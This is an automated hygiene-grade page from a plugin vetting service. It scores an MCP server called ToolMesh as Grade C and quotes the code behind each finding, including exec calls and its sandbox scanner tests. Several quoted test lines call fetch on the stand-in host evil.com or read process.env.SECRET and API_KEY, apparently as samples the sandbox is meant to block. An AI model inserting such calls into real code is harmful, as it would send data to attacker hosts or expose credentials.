Grades are a hygiene check, not a security guarantee.

MCP, MCP server

ToolMesh

The missing control layer between AI agents and enterprise systems.

Compatibility: Not stated.

Grade C

One Medium finding. Read the report before installing.

Graded by PlugVetRubric v2

Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.

PERMISSION_SHELL_UNDECLARED

Why this grade

  • PERMISSION_SHELL_UNDECLARED Medium

    Runs shell commands that the manifest or description does not mention.

    internal/backend/mcpadapter.go, line 326 cmd := exec.CommandContext(ctx, entry.Command, entry.Args...) //nolint:gosec // command from trusted backends config

Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.

Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.

What was checked

Plain notes from the hygiene checks.

  • Permissions

    Concern

    requests shell access. No manifest field names shell or command execution.

    PERMISSION_SHELL_UNDECLARED

    internal/backend/mcpadapter.go, line 326

    cmd := exec.CommandContext(ctx, entry.Command, entry.Args...) //nolint:gosec // command from trusted backends config

    internal/unit/dice_integration_test.go, line 53

    buildCmd := exec.CommandContext(context.Background(), "go", "build", "-o", mcpBin, "./cmd/randombit-mcp") //nolint:gosec // controlled args

  • Install and update

    Pass

    No install-time script found, and dependencies are pinned or absent.

  • Network

    Concern

    can reach evil.com. The description does not name that host. can reach a host that is not written as a fixed address. can reach example.com. The description does not name that host.

    NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST

    CLAUDE.md, line 15

    curl http://localhost:8123/health

    CLAUDE.md, line 167

    curl http://localhost:8123/health # Health check

    internal/composite/executor_test.go, line 191

    code: `fetch("http://evil.com")`,

    Show more

    internal/composite/lint_test.go, line 29

    Code: `fetch("https://evil.com")`,

    internal/composite/sandbox_test.go, line 79

    const x = fetch("http://evil.com");

    internal/composite/sandbox_test.go, line 124

    bad = fetch("http://evil.com");

    internal/composite/scanner_test.go, line 36

    code: `const data = fetch("http://evil.com");`,

    internal/composite/scanner_test.go, line 78

    code: `fetch("x"); require("y"); eval("z");`,

    internal/composite/scanner_test.go, line 156

    code := "const a = 1;\nconst b = fetch('x');\nconst c = 3;"

    internal/grants/web/approve.js, line 55

    const res = await fetch(base + path, init);

  • Secrets

    Concern

    reads a credential or environment file.

    SECRETS_ENV_READ SECRETS_PATH_DOTENV

    CLAUDE.md, line 9

    cp .env.example .env

    cmd/toolmesh/main.go, line 543

    ESH_ISSUER is still the placeholder from .env.example: the OAuth metadata, the 401 ch

    config/openfga/setup.sh, line 7

    # The resulting OPENFGA_STORE_ID must be copied into .env.

    Show more

    config/openfga/setup.sh, line 42

    echo "Add this to your .env:"

    internal/composite/executor_test.go, line 211

    code: `process.env.SECRET`,

    internal/composite/scanner_test.go, line 60

    code: `const secret = process.env.API_KEY;`,

    internal/config/config.go, line 404

    // placeholderIssuer is the TOOLMESH_ISSUER that .env.example ships and that

    internal/config/config.go, line 410

    // from .env.example. Everything that is built from the issuer then names a

    .env.example, line 2

    # ToolMesh -- Example Configuration (.env)

    .env.example, line 8

    # Copy this file: cp .env.example .env

  • Agent instructions

    Pass

    No instruction to ignore earlier instructions or to hide a step.

  • Obfuscation

    Pass

    No encoded or minified payload found.

  • Licence

    Pass

    A licence file is present (LICENSE).

  • Maintainer activity

    Pass

    The latest commit is within the last 365 days.

Get the full report on this tool, £49

Note

Hygiene check of commit 8a6e988b4ead. requests shell access. No manifest field names shell or command execution. can reach evil.com. The description does not name that host. can reach a host that is not written as a fixed address. can reach example.com. The description does not name that host. reads a credential or environment file.

Date and source

Date checked:

View source

github.com

Commit graded: 8a6e988b4ead4da8a95cc76e96c37f6fb4295452

This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.

Read how this letter is chosen